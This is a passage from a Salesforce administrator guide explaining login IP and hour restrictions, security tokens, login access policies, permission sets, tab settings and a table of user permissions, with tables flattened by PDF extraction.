must disable the Salesforce Mobile and Mobile Lite permissions. To disable mobile permissions, see Managing Mobile Permissions. 4. Click Save. Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is 255.255.255.255. A range can't include IP addresses inside of the IPv4-mapped IPv6 address space if it also includes IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to ::1:0:0:0 or :: to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only enabled for login in sandbox organizations for the Spring '12 release. Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's profile has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static resources to expire from the Salesforce cache and any intermediate caches.

See Also:
Restricting Login IP Ranges for Your Organization Setting Login Restrictions Setting Session Security Administrator setup guide: Security Implementation Guide

Viewing and Editing Assigned Apps in Profiles


Assigned app settings specify the apps that users can select in the Force.com app menu. Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit app visibility settings: Manage Users

Every profile must have at least one visible app, except profiles associated with Customer Portal users because apps are not available to them. To specify app visibility: 1. Click Your Name > Setup > Manage Users > Profiles. 2. Select a profile. 3. Depending on which user interface you're using, do one of the following: Enhanced profile user interfaceClick Assigned Apps, then click Edit. Original profile user interfaceClick Edit, then scroll to the Custom App Settings section.

4. Select one default app. The default app appears when users log in for the first time.

556

User Management

User Profiles Overview

5. Select Visible for any other apps you want to make visible.

See Also:
What is an App?

Setting Login Restrictions


Available in: All Editions

To help protect your organizations data against unauthorized access, you have several options for setting login restrictions. Login Hours For each profile, you can set the hours when users can log in. See: Viewing and Editing Login Hours in the Enhanced Profile User Interface Viewing and Editing Login Hours in the Original Profile User Interface

Login IP Address Ranges For each profile, you can set the IP addresses from which users can log in. See: Restricting Login IP Ranges in the Enhanced Profile User Interface Restricting Login IP Addresses in the Original Profile User Interface

Organization-Wide Trusted IP Address List For all users, you can set a list of IP address ranges from which they can always log in without receiving a login challenge. See Restricting Login IP Ranges for Your Organization. When users log in to Salesforce, either via the user interface, the API, or a desktop client such as Connect for Outlook, Salesforce for Outlook, Connect Offline, Connect for Office, Connect for Lotus Notes, or the Data Loader, Salesforce confirms that the login is authorized as follows: 1. Salesforce checks whether the users profile has login hour restrictions. If login hour restrictions are specified for the users profile, any login outside the specified hours is denied. 2. Salesforce then checks whether the users profile has IP address restrictions. If IP address restrictions are defined for the users profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed. 3. If profile-based IP address restrictions are not set, Salesforce checks whether the user is logging in from an IP address they have not used to access Salesforce before: If the users login is from a browser that includes a Salesforce cookie, the login is allowed. The browser will have the Salesforce cookie if the user has previously used that browser to log in to Salesforce, and has not cleared the browser cookies. If the users login is from an IP address in your organizations trusted IP address list, the login is allowed. If the users login is from neither a trusted IP address nor a browser with a Salesforce cookie, the login is blocked.

Whenever a login is blocked or returns an API login fault, Salesforce must verify the users identity:

557

User Management

User Profiles Overview

For access via the user interface, the user is prompted to click Email me a verification code to send a verification email to the address specified on the users Salesforce User Detail. The user copies the verification code from the email and pastes it into their browser to activate their computer for logging in to Salesforce. The verification code included in the email is valid for up to 24 hours from the time the user clicked Email me a verification code. After 24 hours, the verification code expires, and user must repeat the activation process to log in. Note: A user isnt asked for a verification code the first time they log in to Salesforce.

For access via the API or a client, the user must add their security token to the end of their password in order to log in. A security token is an automatically-generated key from Salesforce. For example, if a users password is mypassword, and their security token is XXXXXXXXXX, then the user must enter mypasswordXXXXXXXXXX to log in. Users can obtain their security token by changing their password or resetting their security token via the Salesforce user interface. When a user changes their password or resets their security token, Salesforce sends a new security token to the email address on the users Salesforce record. The security token is valid until a user resets their security token, changes their password, or has their password reset. Tip: We recommend that you obtain your security token using the Salesforce user interface from a trusted network prior to attempting to access Salesforce from a new IP address.

Tips on Setting Login Restrictions Consider the following when setting login restrictions: When a users password is changed, the users security token is automatically reset. The user may experience a blocked login until he or she adds the automatically-generated security token to the end of his or her password when logging in to Salesforce via the API or a client. Partner portal and Customer Portal users are not required to activate computers to log in. For more information on API login faults, see the Core Data Types Used in API Calls topic in the SOAP API Developer's Guide . If single sign-on is enabled for your organization, API and desktop client users cant log into Salesforce unless their IP address is included on your organizations list of trusted IP addresses or on their profile, if their profile has IP address restrictions set. Futhermore, the single sign-on authority usually handles login lockout policies for users with the Is Single Sign-On Enabled permission. However, if the security token is enabled for your organization, then your organizations login lockout settings determine the number of times a user can attempt to log in with an invalid security token before being locked out of Salesforce. The following events count toward the number of times a user can attempt to log in with an invalid password before being locked out of Salesforce, as defined in your organizations login lockout settings: Each time a user is prompted to click Email me a verification code Each time a user incorrectly adds their security token to the end of their password to log into the API or a client

See Also:
About Single Sign-On Setting Password Policies Resetting Your Security Token Administrator setup guide: Security Implementation Guide

558

Permission Sets

Permission Sets Overview

Controlling Login Access


Available in: All Editions Granting administrator access available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To control login access policies: Manage Users

1. Choose Your Name > Setup > Security Controls > Login Access Policies. 2. To allow administrators to log in as any user in the organization without first asking end-users to grant login access to them, enable Administrators Can Log in as Any User. This option is only available if salesforce.com has enabled it for your organization. To request this feature, contact salesforce.com. 3. To prevent users from granting access to a publisher (to comply with regulatory or privacy concerns, for example), click Available to Administrators Only for that publisher. 4. Click Save. Consider these implementation restrictions. Users cannot grant login access to managed packages that are licensed to your entire organization. Only administrators with the Manage Users permission enabled on their profile can grant access to these publishers. Login access is only available for certain managed packages. If the package is not listed, it is not available for granting login access.

See Also:
Granting Login Access

PERMISSION SETS
Permission Sets Overview
Available in: Enterprise, Unlimited, Developer, and Database.com Editions Visualforce is not available in Database.com

A permission set is a collection of settings and permissions that give users access to various tools and functions. The settings and permissions in permission sets are also found in profiles, but permission sets extend users' functional access without changing their profiles. For example, to give users access to a custom object, create a permission set, enable the required

559

User Management

Overview of User Permissions and Access

permissions for the object, and assign the permission set to the users. You never have to change profiles, or create a profile for a single use case. While users can have only one profile, they can have multiple permission sets. Permission sets include settings for: Assigned apps Object settings, which include: Tab settings Object permissions Field permissions App permissions Apex class access Visualforce page access System permissions Service providers (only if you've enabled Salesforce as an identity provider) Note: Some user licenses restrict the number of custom apps or tabs a user can access. Salesforce calculates the total number of settings for custom tabs and assigned apps in a users assigned profile plus any assigned permission sets. For users with a license that restricts the number of apps or tabs, you can't assign more than the allotted limit through their assigned profile and permission sets. For example, the Force.com - One App license allows one assigned custom app per user. If a user with this license has a profile with one assigned custom app, you cant assign that user a permission set that enables another custom app. In Group and Professional Editions, permission sets may be included in installed packages, where they can be viewed and assigned to users but not edited.

See Also:
Working in a Permission Set's Overview Page Creating Permission Sets Assigning Permission Sets Overview of User Permissions and Access

Overview of User Permissions and Access


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User permissions and access settings specify what users can do within an organization. For example, permissions determine a user's ability to edit an object record, view the Setup menu, empty the organizational recycle bin, or reset a user's password. Access settings determine other functions, such as access to Apex classes, app visibility, and the hours when users can log in. Permissions and access settings are specified in user profiles and permission sets. Every user is assigned only one profile, but can also have multiple permission sets.

560

User Management

Overview of User Permissions and Access

When determining access for your users, it's a good idea to use profiles to assign the minimum permissions and access settings for specific groups of users, then use permission sets to grant additional permissions. Because you can assign many permission sets to users and permission sets are reusable, you can distribute access among more logical groupings of users, regardless of their primary job function. For example, you can create a permission set that gives read access to a custom object and assign it to a large group of users, and create another permission set that gives edit access to the object and assign it to only a few users. You can assign these permission sets to various types of users, regardless of their profiles. The following table shows the types of permissions and access settings that are specified in profiles and permission sets. Some profile settings aren't included in permission sets. Permission or Setting Type Assigned apps Tab settings Record type assignments Page layout assignments Object permissions Field permissions User permissions (app and system) Apex class access Visualforce page access Service provider access (if Salesforce is enabled as an identity provider) Desktop client access Login hours Login IP ranges In Profiles? In Permission Sets?

See Also:
Permission Sets Overview User Profiles Overview Revoking Permissions and Access User Permissions Object Permissions

561

User Management

Revoking Permissions and Access

Revoking Permissions and Access


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

You can use profiles and permission sets to grant access, but not to deny access. Any permission granted from either a profile or permission set is honored. For example, if Transfer Record isn't enabled in Jane Smith's profile, but is enabled in two of her permission sets, she can transfer records regardless of whether she owns them. To revoke a permission, you must remove all instances of the permission from the user. You can do this with the following actionseach has possible consequences. Action Consequence

Disable a permission or remove an access setting in the profile The permission or access setting is disabled for all other users and any permission sets that are assigned to the user. assigned to the profile or permission sets. If a permission or access setting is enabled in the user's profile, The user may lose other permissions or access settings assign a different profile to the user. associated with the profile or permission sets. AND If the permission or access setting is enabled in any permission sets that are assigned to the user, remove the permission set assignments from the user.

To resolve the consequence in either case, consider all possible options. For example, you can clone the assigned profile or any assigned permission sets where the permission or access setting is enabled, disable the permission or access setting, and assign the cloned profile or permission sets to the user. Another option is to create a base profile with the least number of permissions and settings that represents the largest number of users possible, then create permission sets that layer additional access.

See Also:
Assigning Permission Sets Overview of User Permissions and Access Creating Permission Sets

562

User Management

Creating Permission Sets

Creating Permission Sets


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create permission sets: Manage Users

You can either clone an existing permission set or create a new one. A cloned permission set starts with the same user license and enabled permissions as the permission set it is cloned from, while a new permission set starts with no user license selected and no permissions enabled. You can create up to 1,000 permission sets. 1. Click Your Name > Setup > Manage Users > Permission Sets. 2. Do one of the following: To create a permission set with no permissions enabled, click New. To create a permission set based on an existing set, click Clone next to the set you want to copy. You can also select the permission set and click Clone in the overview page or one of the settings pages. Note: Clone a permission set only if the new one should have the same user license as the original. In a cloned permission set, you can't select a different license.

3. Enter a label, API name, and description. The API name is a unique name used by the Force.com API and managed packages. It must begin with a letter and use only alphanumeric characters and underscores. It can't include spaces, end with an underscore, or have two consecutive underscores. 4. If this is a new permission set, select a user license option. If you plan to assign this permission set to multiple users with different licenses, select --None--. If only users with one type of license will use this permission set, select the user license thats associated with them. For more information, see About User Licenses in Permission Sets on page 564. If youre cloning a permission set, you cant select a user license. If the User License field is blank, no user license is associated with the permission set. 5. Click Save. The permission set overview page appears. From here you can navigate to the permissions you want to add or change.

See Also:
Assigning Permission Sets Working in a Permission Set's Overview Page Viewing Feature Licenses

563

User Management

Using Permission Set Lists

About User Licenses in Permission Sets


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

When creating a permission set, you can select a specific user license or --None--. If youre selecting a specific license, select the license that matches the users who will use the permission set. For example, if you plan to assign this permission set to users with the Salesforce license, select Salesforce. If you plan to assign this permission set to multiple users with different licenses, select --None--, for no user license. With this option, you can assign the permission set to any users whose license allows the enabled permissions. For example, if you plan to assign the permission set to users with the Salesforce license as well as users with the Salesforce Platform license, select --None--. Note: Permission sets with no user license dont include all possible permissions and settings. You can only assign a permission set with no license to users whose licenses allow the enabled permissions and settings. For example, if you create a permission set with no user license and enable Author Apex, you cant assign that permission set to users with the Salesforce Platform user license because the license doesnt allow that permission.

See Also:
Creating Permission Sets Assigning Permission Sets Understanding User License Types

Using Permission Set Lists


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view permission sets, and print permission set lists: To delete permission sets and permission set list views: View Setup and Configuration Manage Users

To view the permission sets in your organization, click Your Name > Setup > Manage Users > Permission Sets. In the permission sets list page, you can: Show a filtered list of permission sets by selecting a view from the drop-down list Create a list view or edit an existing view Delete a list view by selecting it from the drop-down list and clicking Delete

564

User Management

Using Permission Set Lists

Create or clone a permission set Print a list view Refresh the list view by clicking Edit permissions directly in a list view View or edit a permission set If it's not assigned to any users, remove a permission set by clicking Del

See Also:
Permission Sets Overview Assigning Permission Sets

Creating and Editing Permission Set List Views


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create, edit, and delete permission set list views: Manage Users

You can create and edit permission set list views to show a list of permission sets with specific fields and permissions. For example, you could create a list view of all permission sets in which Modify All Data is enabled. 1. In the Permission Sets page, click Create New View, or select a view and click Edit. 2. Enter the view name. 3. Under Specify Filter Criteria, specify the conditions that the list items must match, such as Modify All Data equals True. a. Type a setting name, or click to search for and select the setting you want. b. Choose a filter operator. c. Enter the value that you want to match. Tip: To show only permission sets with no user license, enter User License for the Setting, set the Operator to equals, and enter "" in the Value field. d. To specify another filter condition, click Add Row. You can specify up to 25 filter condition rows. To remove a filter condition row and clear its values, click . 4. Under Select Columns to Display, specify the settings that you want to appear as columns in the list view. You can add up to 15 columns. a. From the Search drop-down list, select a setting type. b. Enter part or all of a word in the setting you want to add and click Find.

565

User Management

Using Permission Set Lists

Note: If the search finds more than 500 values, no results appear. Refine your search criteria to show fewer results. c. To add or remove columns, select one or more column names and click the Add or Remove arrow. d. Use the Top, Up, Down, and Bottom arrows to arrange the columns in the sequence you want. 5. Click Save, or if you're cloning an existing view, rename it and click Save As.

See Also:
Using Permission Set Lists Editing Permission Sets from a List View Deleting List Views

Editing Permission Sets from a List View


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To edit multiple permission sets from the list view: Manage Users AND Customize Application

You can change permissions in up to 200 permission sets directly from the list view, without accessing individual permission sets. Note: Use care when editing permission sets with this method. Making mass changes may have a widespread effect on users in your organization. 1. Select or create a list view that includes the permission sets and permissions you want to edit. Editable fields display a pencil icon ( ) when you hover over the field, while non-editable fields display a lock icon ( ). 2. To edit multiple permission sets, select the checkbox next to each one you want to edit. If you select permission sets on multiple pages, the selections on each page are remembered. 3. Double-click the permission you want to edit. For multiple permission sets, double-click the permission in any of the selected permission sets. 4. In the dialog box that appears, enable or disable the permission. In some cases, changing a permission may also change other permissions. For example, if Manage Cases and Transfer Cases are enabled in a permission set and you disable Transfer Cases, then Manage Cases is also disabled. In this case, the dialog box lists the affected permissions. 5. To change multiple permission sets, select All n selected records (where n is the number of permission sets you selected). 6. Click Save.

566

User Management

Working in a Permission Set's Overview Page

If you edit multiple permission sets, only those that support the permission you are changing will change. For example, if you use inline editing to enable Modify All Data in a permission set, but because of its user license the permission set doesn't have Modify All Data, the permission set won't change. If any errors occur, the error message lists each permission set and a description of the error. Click the permission set name to open its overview page. The permission sets you've clicked appear in the error window in gray, strike-through text. Note: To view the error console, pop-up blockers must be disabled for the Salesforce domain. To check if your browser allows pop-up windows, click Your Name > Setup > My Personal Information > Reminders, and then click Preview Reminder Alert. Any changes you make are recorded in the setup audit trail.

See Also:
Creating and Editing Permission Set List Views Monitoring Setup Changes Using Permission Set Lists

Working in a Permission Set's Overview Page


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Visualforce is not available in Database.com

User Permissions Needed To view permission sets: View Setup and Configuration

To delete permission sets and edit permission set properties: Manage Users

A permission set's overview page provides an entry point for all of the permissions in a permission set. To open a permission set overview page, click Your Name > Setup > Manage Users > Permission Sets and select the permission set you want to view. From the permission set overview page, you can: Search for permissions and settings Create a permission set based on the current permission set If it's not assigned to any users, remove the permission set by clicking Delete Change the permission set label, API name, or description by clicking Edit Properties View a list of users who are assigned to the permission set View or edit: Assigned apps Object settings (tab settings, object permissions, and field permissions) App permissions

567

User Management

Working in a Permission Set's Overview Page

Apex class access settings Visualforce page access settings Data Category Visibility (if you've enabled data categories) System permissions Service providers (if you've enabled Salesforce as an identity provider)

See Also:
Assigning Permission Sets About App and System Settings in Permission Sets Permission Sets Overview

About App and System Settings in Permission Sets


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

In permission sets, permissions and settings are organized into app and system categories, which reflect the rights users need to administer and use system and app resources. App Settings Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All underlying objects, components, data, and configurations remain the same, regardless of the selected app. In selecting an app, users navigate in a set of tabs that allows them to efficiently use the underlying functionality for app-specific tasks. For example, let's say you do most of your work in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing campaign, rather than adding the Campaigns tab to the sales app, you select Marketing from the app drop-down to view your campaigns and campaign members. The Apps section of the permission sets overview page contains settings that are directly associated with the business processes the apps enable. For example, customer service agents might need to manage cases, so the Manage Cases permission is in the Call Center section of the App Permissions page. Some app settings aren't related to app permissions. For example, to enable the Time-Off Manager app from the AppExchange, users need access to the appropriate Apex classes and Visualforce pages, as well as the object and field permissions that allow them to create new time-off requests. The Apps section contains links to: Assigned apps Object settings, which include: Tab settings Object permissions Field permissions Apex class access settings Visualforce page access settings

568

User Management

Working in a Permission Set's Overview Page

System Settings Some system functions apply to an organization and not to any single app. For example, View Setup and Configuration allows users to view setup and administrative settings pages. Other system functions apply to all apps. For example, the Run Reports and Manage Dashboards permissions allow managers to create and manage reports in all apps. In some cases, such as with Modify All Data, a permission applies to all apps, but also includes non-app functions, like the ability to download the Data Loader. In the permission sets overview page, the System section contains links to: System permissions Service providers (if you've enabled Salesforce as an identity provider)

Using a Permission Set's Assigned Users Page


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view users that are assigned to a permission set: View Setup and Configuration

To view all users that are assigned to a permission set, from the permission set overview page, click Assigned Users. From the assigned users page, you can: Create one or multiple users Reset passwords for selected users Edit a user View a user's detail page by clicking the name, alias, or username View or edit a profile by clicking the profile name Export users to Google and create Google Apps accounts (if Google Apps is enabled in your organization)

See Also:
Assigning Permission Sets

569

User Management

Working in a Permission Set's Overview Page

Searching Permission Sets


Available in: Enterprise, Professional, Developer, and Database.com Editions Visualforce is not available in Database.com

User Permissions Needed To search permission sets: View Setup and Configuration

On any of the detail pages, type at least three consecutive letters of an object, setting, or permission name in the Find Settings... box. The search terms aren't case-sensitive. As you type, suggestions for results that match your search terms appear in a list. Click an item in the list to go to its settings page. You can search for: Item Assigned apps Objects Fields Example Type sales in the Find Settings box, then select Sales from the list. Type an existing objects name. For example, lets say you have an Albums custom object, type albu, then select Albums. Type the name of the object that contains the field. For example, lets say your Albums object contains a Description field. To find the Description field for albums, type albu, select Albums, and scroll down to Description under Field Permissions. Type rep, then select Reports. Type apex, then select Apex Class Access. Type VISU, then select Visualforce Page Access. Type api, then select API Enabled. Type serv, then select Service Providers.

Tabs Apex class access settings Visualforce page access settings App and System permissions Service providers (available only if Salesforce is enabled as an identity provider)

If no results appear in a search: The permission, object, or setting you're searching for may not be available in the current organization. The item you're searching for may not be available for the user license that's associated with the current permission set. For example, a permission set with the High Volume Customer Portal license doesn't include the Modify All Data permission. Be sure your search terms have at least three consecutive characters that match the object, setting, or permission name.

570

User Management

Viewing and Editing Assigned Apps in Permission Sets

Be sure the search term is spelled correctly.

See Also:
Permission Sets Overview

Viewing and Editing Assigned Apps in Permission Sets


Assigned app settings specify the apps that users can select in the Force.com app menu. Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view assigned app settings: To edit assigned app settings: View Setup and Configuration Manage Users

Unlike profiles, you cant assign a default app in permission sets. You can only specify whether apps are visible. To assign apps: 1. 2. 3. 4. 5. Click Your Name > Setup > Manage Users > Permission Sets. Select a permission set, or create one. On the permission set overview page, click Assigned Apps. Click Edit. To assign apps, select them from the Available Apps list and click Add. To remove apps from the permission set, select them from the Enabled Apps list and click Remove. 6. Click Save.

See Also:
What is an App?

571

User Management

Assigning Permission Sets

Assigning Permission Sets


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view users that are assigned to a permission set: To assign permission sets: View Setup and Configuration Manage Users

From the user detail page, you can assign permission sets or remove a permission set assignment. 1. 2. 3. 4. Click Your Name > Setup > Manage Users > Users. Select a user. In the Permission Set Assignments related list, click Edit Assignments. To assign a permission set, select it from the Available Permission Sets box and click Add. To remove a permission set assignment, select it from the Enabled Permission Sets box and click Remove. Note: The Permission Set Assignments page shows permission sets with no associated license and permission sets that match the user's license. For example, if a user's license is Chatter Only, you can assign permission sets with the Chatter Only license and permission sets with no associated license to that user. If you assign a permission set with no associated user license, all of its enabled settings and permissions must be allowed by the users license, or the assignment will fail. 5. Click Save.

See Also:
Permission Sets Overview About User Licenses in Permission Sets Creating Permission Sets

572

User Management

Viewing and Editing Tab Settings in Permission Sets and Profiles

Viewing and Editing Tab Settings in Permission Sets and Profiles


Tab settings specify whether a tab appears in the All Tabs page or is visible in a tab set. Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view tab settings: To edit tab settings: View Setup and Configuration Manage Users

1. Click Your Name > Setup > Manage Users, then click Permission Sets or Profiles. 2. Select a permission set or profile. 3. Do one of the following: Permission sets or enhanced profile user interfaceIn the Find Settings... box, enter the name of the tab you want and select it from the list, then click Edit. Original profile user interfaceClick Edit, then scroll to the Tab Settings section.

4. Specify the tab settings. 5. (Original profile user interface only) To reset users tab customizations to the tab visibility settings that you specify, select Overwrite users' personal tab customizations. 6. Click Save. Note: If Salesforce CRM Content is enabled for your organization but the Salesforce CRM Content User checkbox isnt enabled on the user detail page, the Salesforce CRM Content app has no tabs.

See Also:
Customizing Your Display

Tab Settings
Available in: Enterprise, Unlimited, and Developer Editions

Tab settings specify whether a tab appears in the All Tabs page or is visible in its associated app. Tab settings labels in permission sets differ from the labels in profiles.

573

User Management

User Permissions

Enabled Settings in Permission Sets


Available

Enabled Setting in Profiles


Default Off

Description The tab is available on the All Tabs page. Individual users can customize their display to make the tab visible in any app. The tab is available on the All Tabs page and appears in the visible tabs for its associated app. Individual users can customize their display to hide the tab or make it visible in other apps. The tab isnt available on the All Tabs page or visible in any apps.

Available and Visible

Default On

None

Tab Hidden

Note: If a user has another permission set or profile with enabled settings for the same tab, the most permissive setting applies. For example, if permission set A has no settings enabled for the Accounts tab, but permission set B enables the Available setting for the Accounts tab, and permission sets A and B are assigned to a user, the user sees the Accounts tab on the All Tabs page.

See Also:
Customizing Your Display Viewing and Editing Tab Settings in Permission Sets and Profiles

User Permissions
The user permissions available vary according to which Edition you have.

The following table lists all user permissions in alphabetical order. In permission sets and the enhanced profile user interface, these permissions are listed in the App Permissions or System Permissions pages. In the original profile user interface, they are listed under Administrative Permissions and General User Permissions. You can enable user permissions in permission sets and profiles. Permission Name Activate Contracts Description Change contract status to Activated. Functions Controlled Change contract status to Activate; Create, edit and delete contracts Activate Orders Change order status to Activated. Change order status to Activate; Create, edit, and delete orders System Administrator Profiles System Administrator Contract Manager

574

User Management

User Permissions

Permission Name Affected by Divisions

Description

Functions Controlled

Profiles System Administrator Standard User Solution Manager Marketing User Contract Manager

Filter search results, list views, Filter a users search results, and reports by division. list views, and reports by division. With this permission deselected, a users searches, list views, and reports always show records in all divisions. Enterprise, Unlimited, and Developer Edition organizations can edit this user permission on standard and custom profiles

API Enabled API Only User Approve Contracts

Access any Salesforce API.

Access any Salesforce API

System Administrator

Access Salesforce only through Access Salesforce only through None a Salesforce API. a Salesforce API Approve or reject a contract from a related list. Create Apex classes and triggers. Apply an approved status to a System Administrator contract Contract Manager Can modify and deploy Apex System Administrator classes and triggers, set security on Apex classes, and create email services Run reports in the System Administrator background, and export results as a CSV or Excel file on completion

Author Apex

Background Report Export

Run reports in the background, and export results as a CSV or Excel file on completion.

Bulk API Hard Delete

Delete records in the Bulk Delete records without storing None API without storing them in them in the Recycle Bin, the Recycle Bin. making them eligible for immediate deletion. Use all Chatter features. Use all Chatter features. System Administrator Standard User Solution Manager Marketing User Read Only Contract Manager Chatter Moderator User Chatter Free User

Chatter Internal User

Convert Leads

Convert leads into accounts, contacts, and opportunities.

Convert leads into accounts, contacts, and opportunities

System Administrator Standard User

575

User Management

User Permissions

Permission Name

Description

Functions Controlled

Profiles Solution Manager Marketing User Contract Manager

Create and Customize Reports Create, edit, and delete reports.

View the Reports tab; Run, create, edit, save, and delete reports; View dashboards based on reports

System Administrator Standard User Solution Manager Marketing User Read Only Contract Manager

Create and Own New Chatter Create and become owner of Create and become owner of System Administrator Groups groups in Chatter groups in Chatter Standard User Chatter Moderator User Chatter Free User Solution Manager Marketing User Contract Manager Partner User Customer Portal User Customer Portal Manager Standard Create and Share Links to Chatter Files Share a Chatter file with Chatter users can share anyone by creating a file link Chatter files via link. and sending it via email or IM. System Administrator Standard User Solution Manager Marketing User Read Only Contract Manager Create and Upload Change Sets Create AppExchange Packages Create and upload a change set. Create a change set, add System Administrator components to it, and upload it

Create packages that can be Create AppExchange System Administrator distributed through packages. AppExchange. Use outbound Create and upload change sets. change sets.

576

User Management

User Permissions

Permission Name Create Libraries Customize Application

Description Create Salesforce CRM Content libraries. Customize the organization using App Setup menu options.

Functions Controlled Create Salesforce CRM Content libraries Edit messages and custom links; Modify standard picklist values; Create, edit, and delete custom fields; Create, edit, and delete page layouts (also requires the Edit permission for the record, for example, Edit on accounts); Set field-level security; Create, edit, and delete custom links; Edit the Lead Settings; Activate big deal alerts; Create record types; Set up Web-to-Case and email response rules; Set up Web-to-Lead and email response rules; Set up assignment and escalation rules; Set up business hours; Set up Email-to-Case or On-Demand Email-to-Case; Edit Self-Service page layouts and portal color theme (also requires the Manage Self-Service Portal permission to set up and maintain Self-Service settings and delete your organization's Self-Closed Case Status value); Set up and enable multilingual solutions;

Profiles System Administrator System Administrator

577

User Management

User Permissions

Permission Name

Description

Functions Controlled Set up team selling; Set up account teams; Map custom lead fields; Manage queues; Create, edit, and delete workflow rules, tasks, field updates, outbound messages, and alerts (outbound messages also requires Manage Translation and, if territories are enabled, Manage Territories permissions); Create, edit, and delete custom s-controls, custom objects, and custom tabs; Rename tabs; Manage custom apps and Service Cloud console apps; Create and edit public calendars and resources; Set up the console; Enable, set up, and modify the Salesforce Customer Portal; Set up and schedule analytic snapshots to run; Create communities for ideas and answers; Create Visualforce email templates

Profiles

Data Export Data Residency Option Admin Delegated Portal User Administrator

Run the data export service.

Run the data export service.

System Administrator

Install the Data residency Access to the DRO software, None Option (DRO) software, documentation, and patches. documentation, and patches. Manage portal users who belong to the same portal account. Allows Customer Portal and None Partner Portal users to create, edit, deactivate, and reset passwords for other portal users (also requires Portal Super User to create and view

578

User Management

User Permissions

Permission Name

Description

Functions Controlled cases for Customer Portal users)

Profiles

Delete Activated Contracts

Delete contracts, regardless of Delete contracts regardless of System Administrator their status. status; Activate, create, and edit contracts

Deliver Uploaded Files and Personal Content

Enables non-Content users to create content deliveries, and enables Salesforce CRM Content users to create content deliveries using documents in their personal libraries.

Non-Content users can create System Administrator content deliveries; Standard User Salesforce CRM Content Solution Manager users can create content deliveries using documents in Marketing User their personal libraries Read Only Salesforce CRM Content users don't need this permission to create content deliveries in shared libraries. Contract Manager

Deploy Change Sets Download AppExchange Packages Drag-and-Drop Dashboard Builder

Deploy change sets. Install or uninstall AppExchange packages as system administrators. Create, edit, and delete dashboards through the drag-and-drop dashboard builder interface.

Deploy change sets sent from System Administrator another organization Install or uninstall System Administrator AppExchange packages from the AppExchange Create, edit, and delete dashboards using the dashboard builder interface System Administrator

Edit Activated Orders Edit Case Comments

Edit an order record once it is Create, edit, and delete activated. activated orders

System Administrator

Edit their own case comments Enables users to edit and None but not other user's comments. delete case comments that they have added to cases (also requires Edit on cases) Create, edit, and delete events. Create, edit, and delete events System Administrator Standard User Solution Manager Marketing User Contract Manager

Edit Events

579

User Management

User Permissions

Permission Name Edit Forecasts

Description

Functions Controlled

Profiles

In Forecasts (Classic), create, In Forecasts (Classic), create, System Administrator edit, and delete forecasts. edit, and delete forecasts. Standard User This permission is not Solution Manager available for Customizable Forecasts and the Forecasts Marketing User product released in Winter Contract Manager 12. If you migrate to Customizable Forecasts, custom profiles that have the Edit Forecasts permission get the Edit Personal Quota and Override Forecasts permissions. Create, edit, and delete HTML email templates. Create, edit, and delete both System Administrator custom HTML templates and Marketing User HTML email templates using letterheads Enable users to change the sales price on products System Administrator Standard User Solution Manager Marketing User Contract Manager

Edit HTML Templates

Edit Opportunity Product Sales Prices

Change the sales price on opportunity line items.

Edit Personal Quota

In Customizable Forecasts, In Customizable Forecasts, System Administrator change your individual quota change your individual quota Standard User amount. amount. Solution Manager This permission is not Marketing User available for Forecasts (Classic) and the Forecasts Contract Manager product released in Winter 12. Edit fields that are read only due to page layouts or field-level security. Edit fields marked as read only System Administrator (by field-level security or by the page layout) for all other users System Administrator Standard User Solution Manager Marketing User Contract Manager

Edit Read Only Fields

Edit Self-Service Users

Enable and disable contacts For the Self-Service portal: for Self-Service and Customer enable and deactivate contacts; Portal access. For the Salesforce Customer Portal: enable, disable, and deactivate contacts; disable accounts; merge Customer

580

User Management

User Permissions

Permission Name

Description

Functions Controlled Portal users (also requires Delete on contacts)

Profiles

Edit Tasks

Create, edit, and delete tasks. Create, edit, and delete tasks System Administrator Standard User Solution Manager Marketing User Contract Manager

Export Reports

Use Export Details and Printable View to export reports.

Use Export Details and Printable View to export reports

System Administrator Standard User Solution Manager Marketing User Contract Manager

Import Leads

Import leads and update campaign history.

Import leads and update campaign history using the import wizard

System Administrator Marketing User

Import Personal Contacts

Import personal accounts and Import personal accounts and System Administrator contacts. contacts using the import Standard User wizard Solution Manager Marketing User Contract Manager

Import Solutions

Import solutions for the organization.

Import solutions for the System Administrator organization using the import Solution Manager wizard Set the CreatedById or System Administrator CreatedDate for a Chatter post or comment from the API when creating the record. Invite customers to Chatter. System Administrator Standard User Solution Manager Marketing User Read Only Contract Manager Chatter Moderator User

Insert System Field Values for Set the CreatedById or Chatter Feeds CreatedDate for a Chatter post or comment from the API when creating the record. Invite Customers to Chatter Invite customers to Chatter.

581

User Management

User Permissions

Permission Name

Description

Functions Controlled

Profiles Chatter Free User Chatter External User

Is Single Sign-On Enabled

Delegate username and password authentication to a corporate database instead of the Salesforce user database.

Username and password None authentication is delegated to a corporate database such as Active Directory or LDAP, instead of the Salesforce user database Log in to subscriber organizations to perform package support using the Subscriber Support Tab. System Administrator

Log in to Subscriber Organization

Log in to subscriber organizations to perform package support using the Subscriber Support Tab. Create, edit, and delete analytic snapshots.

